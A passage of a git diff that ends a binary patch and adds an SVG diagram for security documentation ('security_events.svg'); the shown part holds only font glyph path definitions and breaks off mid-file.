z{tkIuxVf9rOb<N;hWXO!;9>iR-%?qA2RnXrKWjQiOvw!l?REH%-YH2H+9k%{Xw^Cy
z3+;JY_?vaTALBDnFFjk*-+@vNL!3Nx+1|Xb^szs+p^jyZ^|XkABh{yh{t;f(yuOy)
z^(S=WBV~pEEuhZ#y+UGFxhksZb<l(l{Cedg7W^WHnfnWq<Xlwb&^sTKt42wouRD!8
tS1aAWT%SM_!AGS3u?t!H_WL?50f!%A;$_*VjX%E=WhIq>GVzx|{{bHTnj`=K

diff --git a/_images/security/security_events.svg b/_images/security/security_events.svg
new file mode 100644
index 00000000000..f1b93923da6
--- /dev/null
+++ b/_images/security/security_events.svg
@@ -0,0 +1,338 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="679" height="320" viewBox="0 0 1101 520" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
